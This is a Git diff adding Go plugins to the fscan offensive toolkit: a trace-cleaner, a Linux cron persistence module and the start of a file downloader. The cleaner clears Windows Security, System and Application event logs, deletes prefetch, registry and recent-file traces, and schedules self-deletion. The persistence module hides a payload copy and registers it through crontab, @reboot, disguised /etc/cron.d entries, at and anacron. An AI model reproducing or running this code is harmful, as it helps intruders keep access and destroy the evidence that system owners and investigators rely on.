// 3. 清理注册表痕迹
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
cleaned = append(cleaned, registryKeys...)
report["registry_keys"] = registryKeys
}
// 4. 清理最近文档记录
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
cleaned = append(cleaned, recentDocs...)
report["recent_documents"] = recentDocs
}
// 5. 清理Windows临时文件
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanWindowsEventLogs 清理Windows事件日志
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
var cleaned []string
// 尝试清理应用程序日志中的相关条目
logs := []string{"Application", "System", "Security"}
for _, logName := range logs {
// 使用wevtutil清理日志
cmd := exec.Command("wevtutil", "cl", logName)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
}
}
return cleaned
}
// cleanPrefetchFiles 清理预取文件
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
var cleaned []string
prefetchDir := "C:\\Windows\\Prefetch"
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
return cleaned
}
// 查找fscan相关的预取文件
entries, err := os.ReadDir(prefetchDir)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
return cleaned
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToUpper(entry.Name())
if strings.Contains(filename, "FSCAN") {
prefetchFile := filepath.Join(prefetchDir, entry.Name())
if err := os.Remove(prefetchFile); err != nil {
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
} else {
cleaned = append(cleaned, prefetchFile)
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
}
}
}
return cleaned
}
// cleanRegistryTraces 清理注册表痕迹
func (p *CleanerPlugin) cleanRegistryTraces() []string {
var cleaned []string
// 清理UserAssist注册表项
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
cleaned = append(cleaned, userAssist...)
}
// 清理MRU最近使用记录
if mru := p.cleanMRURegistry(); len(mru) > 0 {
cleaned = append(cleaned, mru...)
}
return cleaned
}
// cleanUserAssistRegistry 清理UserAssist注册表
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
var cleaned []string
// UserAssist键路径
keyPaths := []string{
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
}
for _, keyPath := range keyPaths {
// 查询注册表项
cmd := exec.Command("reg", "query", keyPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.Output()
if err != nil {
continue
}
// 查找fscan相关条目并删除
lines := strings.Split(string(output), "\n")
for _, line := range lines {
if strings.Contains(strings.ToUpper(line), "FSCAN") {
// 提取值名称
parts := strings.Fields(line)
if len(parts) > 0 {
valueName := parts[0]
// 删除注册表值
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := delCmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
}
}
}
}
}
return cleaned
}
// cleanMRURegistry 清理MRU注册表记录
func (p *CleanerPlugin) cleanMRURegistry() []string {
var cleaned []string
// MRU键路径
mruKeys := []string{
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
}
for _, keyPath := range mruKeys {
// 这里可以添加更复杂的MRU清理逻辑
// 由于安全考虑,暂时只记录路径
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
}
return cleaned
}
// cleanRecentDocuments 清理最近文档记录
func (p *CleanerPlugin) cleanRecentDocuments() []string {
var cleaned []string
// 获取用户目录
userProfile := os.Getenv("USERPROFILE")
if userProfile == "" {
return cleaned
}
// 最近文档目录
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
entries, err := os.ReadDir(recentDir)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
return cleaned
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
recentFile := filepath.Join(recentDir, entry.Name())
if err := os.Remove(recentFile); err != nil {
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
} else {
cleaned = append(cleaned, recentFile)
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
}
}
}
return cleaned
}
// cleanWindowsTempFiles 清理Windows临时文件
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
var cleaned []string
// 临时目录
tempDirs := []string{
os.Getenv("TEMP"),
os.Getenv("TMP"),
"C:\\Windows\\Temp",
}
for _, tempDir := range tempDirs {
if tempDir == "" {
continue
}
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
tempFile := filepath.Join(tempDir, entry.Name())
// 检查文件是否太新(可能正在使用)
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if err := os.Remove(tempFile); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, tempFile)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理DNS缓存
cmd := exec.Command("ipconfig", "/flushdns")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
} else {
cleaned = append(cleaned, "DNS Cache")
common.LogSuccess("已清理DNS缓存")
}
// 2. 清理ARP缓存
arpCmd := exec.Command("arp", "-d", "*")
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := arpCmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createWindowsSelfDestruct 创建Windows自毁脚本
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建批处理自毁脚本
batchScript := fmt.Sprintf(`@echo off
timeout /t 2 /nobreak > nul
del /f /q "%s" 2>nul
del /f /q "%%~f0" 2>nul
exit`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command(scriptPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createWindowsSelfDestruct()
}

View File

@ -0,0 +1,386 @@
package cleaner
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// CleanerPlugin 系统痕迹清理插件 - 跨平台支持
type CleanerPlugin struct {
*local.BaseLocalPlugin
// 配置选项
targetFiles []string // 要清理的文件列表
cleanDirectories []string // 要清理的目录列表
currentExecutable string // 当前执行文件路径
workingDirectory string // 当前工作目录
cleanupStats map[string]int // 清理统计
}
// NewCleanerPlugin 创建系统痕迹清理插件
func NewCleanerPlugin() *CleanerPlugin {
metadata := &base.PluginMetadata{
Name: "cleaner",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
Category: "local",
Tags: []string{"local", "cleaner", "forensics", "cross-platform"},
Protocols: []string{"local"},
}
plugin := &CleanerPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFiles: make([]string, 0),
cleanDirectories: make([]string, 0),
cleanupStats: make(map[string]int),
}
// 支持所有主要平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 需要系统权限进行清理操作
plugin.SetRequiresPrivileges(false) // 根据当前用户权限进行清理
return plugin
}
// Initialize 初始化插件
func (p *CleanerPlugin) Initialize() error {
common.LogInfo(fmt.Sprintf("初始化系统痕迹清理插件 - 平台: %s", runtime.GOOS))
// 获取当前执行文件路径
if exe, err := os.Executable(); err == nil {
p.currentExecutable = exe
common.LogDebug(fmt.Sprintf("当前执行文件: %s", exe))
}
// 获取当前工作目录
if wd, err := os.Getwd(); err == nil {
p.workingDirectory = wd
common.LogDebug(fmt.Sprintf("当前工作目录: %s", wd))
}
// 扫描要清理的文件
if err := p.scanCleanupTargets(); err != nil {
return fmt.Errorf("扫描清理目标失败: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行系统痕迹清理任务
func (p *CleanerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogInfo("开始系统痕迹清理...")
// 执行清理操作
cleanupReport, err := p.performCleanup(ctx)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "SystemCleaner",
Banner: fmt.Sprintf("痕迹清理完成: 清理了 %d 个文件, %d 个目录, %d 个系统条目",
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]),
Extra: map[string]interface{}{
"platform": runtime.GOOS,
"files_cleaned": p.cleanupStats["files"],
"directories_cleaned": p.cleanupStats["directories"],
"system_entries_cleaned": p.cleanupStats["system_entries"],
"cleanup_report": cleanupReport,
},
}
common.LogSuccess(fmt.Sprintf("系统痕迹清理完成: 文件(%d) 目录(%d) 系统条目(%d)",
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]))
return result, nil
}
// scanCleanupTargets 扫描要清理的目标
func (p *CleanerPlugin) scanCleanupTargets() error {
common.LogInfo("扫描清理目标...")
// 扫描当前目录下的fscan相关文件
if err := filepath.Walk(p.workingDirectory, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil // 忽略访问错误
}
if info.IsDir() {
return nil
}
filename := strings.ToLower(info.Name())
// 检查fscan相关文件
if p.isFscanRelatedFile(filename) {
p.targetFiles = append(p.targetFiles, path)
common.LogDebug(fmt.Sprintf("发现清理目标: %s", path))
}
return nil
}); err != nil {
common.LogError(fmt.Sprintf("扫描文件失败: %v", err))
}
common.LogInfo(fmt.Sprintf("发现 %d 个文件需要清理", len(p.targetFiles)))
return nil
}
// isFscanRelatedFile 判断是否为fscan相关文件 - 使用保守的策略
func (p *CleanerPlugin) isFscanRelatedFile(filename string) bool {
// 严格的项目文件排除列表 - 确保不误删项目文件
excludePatterns := []string{
".go", ".mod", ".sum", ".md", ".yml", ".yaml", // 源码和配置
".git", ".claude", ".idea", ".vscode", // 版本控制和IDE
"dockerfile", "makefile", "license", "readme", // 项目文件
"plugins", "common", "core", "webscan", // 核心目录
"testdocker", // 测试配置
".json", ".xml", // 配置文件
}
// 检查是否为需要排除的文件
for _, exclude := range excludePatterns {
if strings.Contains(filename, exclude) {
return false
}
}
// 只清理明确的输出和结果文件 - 非常保守的策略
cleanPatterns := []string{
"result.txt", // 默认扫描结果文件
"results.txt", // 可能的结果文件
"output.txt", // 输出文件
"scan_result.txt", // 扫描结果
"keylog.txt", // 键盘记录输出
"my_keylog.txt", // 自定义键盘记录
}
// 排除当前执行文件(稍后单独处理)
if p.currentExecutable != "" {
currentExeName := strings.ToLower(filepath.Base(p.currentExecutable))
if filename == currentExeName {
return false
}
}
// 只清理明确匹配的输出文件
for _, pattern := range cleanPatterns {
if filename == pattern { // 精确匹配,不使用 Contains
return true
}
}
// 清理明确的测试生成可执行文件(但保留源码)
if strings.HasSuffix(filename, ".exe") {
// 只清理包含特定测试标识的exe文件
testPatterns := []string{"_test.exe", "_debug.exe", "fscan_test", "fscan_debug"}
for _, pattern := range testPatterns {
if strings.Contains(filename, pattern) {
return true
}
}
}
return false
}
// performCleanup 执行清理操作
func (p *CleanerPlugin) performCleanup(ctx context.Context) (map[string]interface{}, error) {
report := make(map[string]interface{})
// 初始化统计
p.cleanupStats["files"] = 0
p.cleanupStats["directories"] = 0
p.cleanupStats["system_entries"] = 0
// 1. 清理文件
common.LogInfo("清理相关文件...")
fileReport := p.cleanTargetFiles()
report["file_cleanup"] = fileReport
// 2. 清理系统痕迹(平台特定)
common.LogInfo("清理系统痕迹...")
systemReport := p.cleanSystemTraces()
report["system_cleanup"] = systemReport
// 3. 清理网络痕迹
common.LogInfo("清理网络痕迹...")
networkReport := p.cleanNetworkTraces()
report["network_cleanup"] = networkReport
// 4. 最后清理自身(需要特殊处理)
if p.currentExecutable != "" {
common.LogInfo("准备清理自身...")
selfReport := p.prepareSelfDestruction()
report["self_cleanup"] = selfReport
}
return report, nil
}
// cleanTargetFiles 清理文件
func (p *CleanerPlugin) cleanTargetFiles() []string {
var cleaned []string
for _, file := range p.targetFiles {
if err := p.secureDelete(file); err != nil {
common.LogError(fmt.Sprintf("删除文件失败 %s: %v", file, err))
} else {
cleaned = append(cleaned, file)
p.cleanupStats["files"]++
common.LogSuccess(fmt.Sprintf("已删除: %s", file))
}
}
return cleaned
}
// secureDelete 安全删除文件(覆盖后删除)
func (p *CleanerPlugin) secureDelete(filepath string) error {
// 获取文件信息
info, err := os.Stat(filepath)
if err != nil {
return err
}
// 小文件进行覆盖删除
if info.Size() < 10*1024*1024 { // 10MB以下
if err := p.overwriteFile(filepath); err != nil {
common.LogDebug(fmt.Sprintf("覆盖文件失败: %v", err))
}
}
// 删除文件
return os.Remove(filepath)
}
// overwriteFile 覆盖文件内容
func (p *CleanerPlugin) overwriteFile(filepath string) error {
info, err := os.Stat(filepath)
if err != nil {
return err
}
file, err := os.OpenFile(filepath, os.O_WRONLY, 0)
if err != nil {
return err
}
defer file.Close()
// 用随机数据覆盖
size := info.Size()
buffer := make([]byte, 4096)
for i := range buffer {
buffer[i] = byte(time.Now().UnixNano() % 256)
}
for size > 0 {
writeSize := int64(len(buffer))
if size < writeSize {
writeSize = size
}
if _, err := file.Write(buffer[:writeSize]); err != nil {
return err
}
size -= writeSize
}
return file.Sync()
}
// prepareSelfDestruction 准备自毁 - 平台特定实现在各自的文件中
// GetLocalData 获取清理器本地数据
func (p *CleanerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "cleaner"
data["platform"] = runtime.GOOS
data["current_executable"] = p.currentExecutable
data["working_directory"] = p.workingDirectory
data["cleanup_targets"] = len(p.targetFiles)
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *CleanerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("系统痕迹清理完成,清理了 %d 个项目", p.cleanupStats["files"]+p.cleanupStats["directories"]+p.cleanupStats["system_entries"]),
Data: data,
Extra: map[string]interface{}{
"platform": runtime.GOOS,
"cleanup_stats": p.cleanupStats,
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *CleanerPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("跨平台系统痕迹清理插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能:\n")
info.WriteString(" - 清理fscan相关输出文件\n")
info.WriteString(" - 清理系统日志痕迹\n")
info.WriteString(" - 清理网络连接痕迹\n")
info.WriteString(" - 清理Shell历史记录\n")
info.WriteString(" - 安全删除敏感文件\n")
info.WriteString(" - 自毁功能\n")
info.WriteString("注意: 根据当前用户权限执行清理操作\n")
return info.String()
}
// RegisterCleanerPlugin 注册系统痕迹清理插件
func RegisterCleanerPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "cleaner",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
Category: "local",
Tags: []string{"cleaner", "local", "forensics", "cross-platform"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewCleanerPlugin()
},
)
base.GlobalPluginRegistry.Register("cleaner", factory)
}
// init 插件注册函数
func init() {
RegisterCleanerPlugin()
}

View File

@ -0,0 +1,422 @@
package crontask
import (
"context"
"fmt"
"os"
"os/exec"
"os/user"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// CronTaskPlugin 计划任务持久化插件 - 使用简化架构
type CronTaskPlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewCronTaskPlugin 创建计划任务持久化插件 - 简化版本
func NewCronTaskPlugin() *CronTaskPlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "crontask",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 计划任务持久化插件通过crontab定时任务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "cron", "schedule"},
Protocols: []string{"local"},
}
plugin := &CronTaskPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要crontab权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *CronTaskPlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
// 检查crontab是否可用
if _, err := exec.LookPath("crontab"); err != nil {
return fmt.Errorf("crontab命令不可用: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行计划任务持久化 - 简化版本
func (p *CronTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("计划任务持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始计划任务持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到持久化目录
persistPath, err := p.copyToPersistPath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", persistPath))
}
// 2. 添加用户crontab任务
err = p.addUserCronJob(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加用户cron任务失败: %v", err))
} else {
results = append(results, "已添加用户crontab任务")
common.LogSuccess("已添加用户crontab任务")
}
// 3. 添加系统cron任务
systemCronFiles, err := p.addSystemCronJobs(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加系统cron任务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", ")))
common.LogSuccess("已添加系统cron任务")
}
// 4. 创建at任务一次性任务
err = p.addAtJob(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加at任务失败: %v", err))
} else {
results = append(results, "已添加at延时任务")
common.LogSuccess("已添加at延时任务")
}
// 5. 创建anacron任务
err = p.addAnacronJob(persistPath)
if err != nil {
common.LogError(fmt.Sprintf("添加anacron任务失败: %v", err))
} else {
results = append(results, "已添加anacron任务")
common.LogSuccess("已添加anacron任务")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "CronTaskPersistence",
Banner: fmt.Sprintf("计划任务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToPersistPath 复制文件到持久化目录
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
// 选择持久化目录
persistDirs := []string{
"/tmp/.system",
"/var/tmp/.cache",
"/opt/.local",
}
// 获取用户目录
if usr, err := user.Current(); err == nil {
userDirs := []string{
filepath.Join(usr.HomeDir, ".local", "bin"),
filepath.Join(usr.HomeDir, ".cache"),
}
persistDirs = append(userDirs, persistDirs...)
}
var targetDir string
for _, dir := range persistDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建持久化目录")
}
// 生成隐藏文件名
basename := filepath.Base(p.targetFile)
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
if p.isScriptFile() {
hiddenName += ".sh"
}
targetPath := filepath.Join(targetDir, hiddenName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *CronTaskPlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// addUserCronJob 添加用户crontab任务
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
// 获取现有crontab
cmd := exec.Command("crontab", "-l")
currentCrontab, _ := cmd.Output()
// 生成新的cron任务
cronJobs := p.generateCronJobs(execPath)
newCrontab := string(currentCrontab)
for _, job := range cronJobs {
if !strings.Contains(newCrontab, execPath) {
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
newCrontab += "\n"
}
newCrontab += job + "\n"
}
}
// 应用新的crontab
cmd = exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCrontab)
return cmd.Run()
}
// addSystemCronJobs 添加系统cron任务
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
cronDirs := []string{
"/etc/cron.d",
"/etc/cron.hourly",
"/etc/cron.daily",
"/etc/cron.weekly",
"/etc/cron.monthly",
}
var modified []string
// 在cron.d中创建配置文件
cronFile := filepath.Join("/etc/cron.d", "system-update")
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
modified = append(modified, cronFile)
}
// 在每个cron目录中创建脚本
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
continue
}
scriptFile := filepath.Join(cronDir, ".system-check")
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
modified = append(modified, scriptFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法创建任何系统cron任务")
}
return modified, nil
}
// addAtJob 添加at延时任务
func (p *CronTaskPlugin) addAtJob(execPath string) error {
// 检查at命令是否可用
if _, err := exec.LookPath("at"); err != nil {
return err
}
// 创建5分钟后执行的任务
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
cmd := exec.Command("sh", "-c", atCommand)
return cmd.Run()
}
// addAnacronJob 添加anacron任务
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
anacronFile := "/etc/anacrontab"
// 检查anacrontab是否存在
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
return err
}
// 读取现有内容
content := ""
if data, err := os.ReadFile(anacronFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, execPath) {
return nil
}
// 添加新任务
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += anacronLine + "\n"
return os.WriteFile(anacronFile, []byte(content), 0644)
}
// generateCronJobs 生成多种cron任务
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
baseCmd := execPath
if p.isScriptFile() {
baseCmd = fmt.Sprintf("bash %s", execPath)
}
baseCmd += " >/dev/null 2>&1"
return []string{
// 每5分钟执行一次
fmt.Sprintf("*/5 * * * * %s", baseCmd),
// 每小时执行一次
fmt.Sprintf("0 * * * * %s", baseCmd),
// 每天执行一次
fmt.Sprintf("0 0 * * * %s", baseCmd),
// 启动时执行
fmt.Sprintf("@reboot %s", baseCmd),
}
}
// isScriptFile 检查是否为脚本文件
func (p *CronTaskPlugin) isScriptFile() bool {
ext := strings.ToLower(filepath.Ext(p.targetFile))
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
}
// GetLocalData 获取计划任务持久化本地数据
func (p *CronTaskPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "crontask"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Cron Task"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
// 获取当前时间
data["schedule_time"] = time.Now().Format("2006-01-02 15:04:05")
return data, nil
}
// ExtractData 提取数据
func (p *CronTaskPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("计划任务持久化完成,目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Cron Task",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *CronTaskPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("计划任务持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux\n")
info.WriteString("功能: 通过cron定时任务实现持久化\n")
info.WriteString("方法: crontab、系统cron、at任务、anacron\n")
info.WriteString("频率: 每5分钟、每小时、每天、启动时\n")
info.WriteString("支持文件: 可执行文件和shell脚本\n")
return info.String()
}
// RegisterCronTaskPlugin 注册计划任务持久化插件
func RegisterCronTaskPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "crontask",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 计划任务持久化插件通过crontab定时任务实现持久化",
Category: "local",
Tags: []string{"crontask", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewCronTaskPlugin()
},
)
base.GlobalPluginRegistry.Register("crontask", factory)
}
// init 插件注册函数
func init() {
RegisterCronTaskPlugin()
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,338 @@
package downloader
import (
"context"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// DownloaderPlugin 文件下载插件 - 跨平台支持
type DownloaderPlugin struct {
*local.BaseLocalPlugin
// 配置选项
downloadURL string
savePath string
downloadTimeout time.Duration
maxFileSize int64
}
// NewDownloaderPlugin 创建文件下载插件
func NewDownloaderPlugin() *DownloaderPlugin {
metadata := &base.PluginMetadata{
Name: "downloader",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台文件下载插件支持从指定URL下载文件并保存到本地",
Category: "local",
Tags: []string{"local", "downloader", "file", "cross-platform"},
Protocols: []string{"http", "https"},
}
plugin := &DownloaderPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
downloadTimeout: 30 * time.Second, // 默认30秒超时
maxFileSize: 100 * 1024 * 1024, // 默认最大100MB
}
// 支持所有主要平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 需要文件写入权限
plugin.SetRequiresPrivileges(false)
// 从全局参数获取配置
plugin.downloadURL = common.DownloadURL
plugin.savePath = common.DownloadSavePath
return plugin
}
// Initialize 初始化插件
func (p *DownloaderPlugin) Initialize() error {
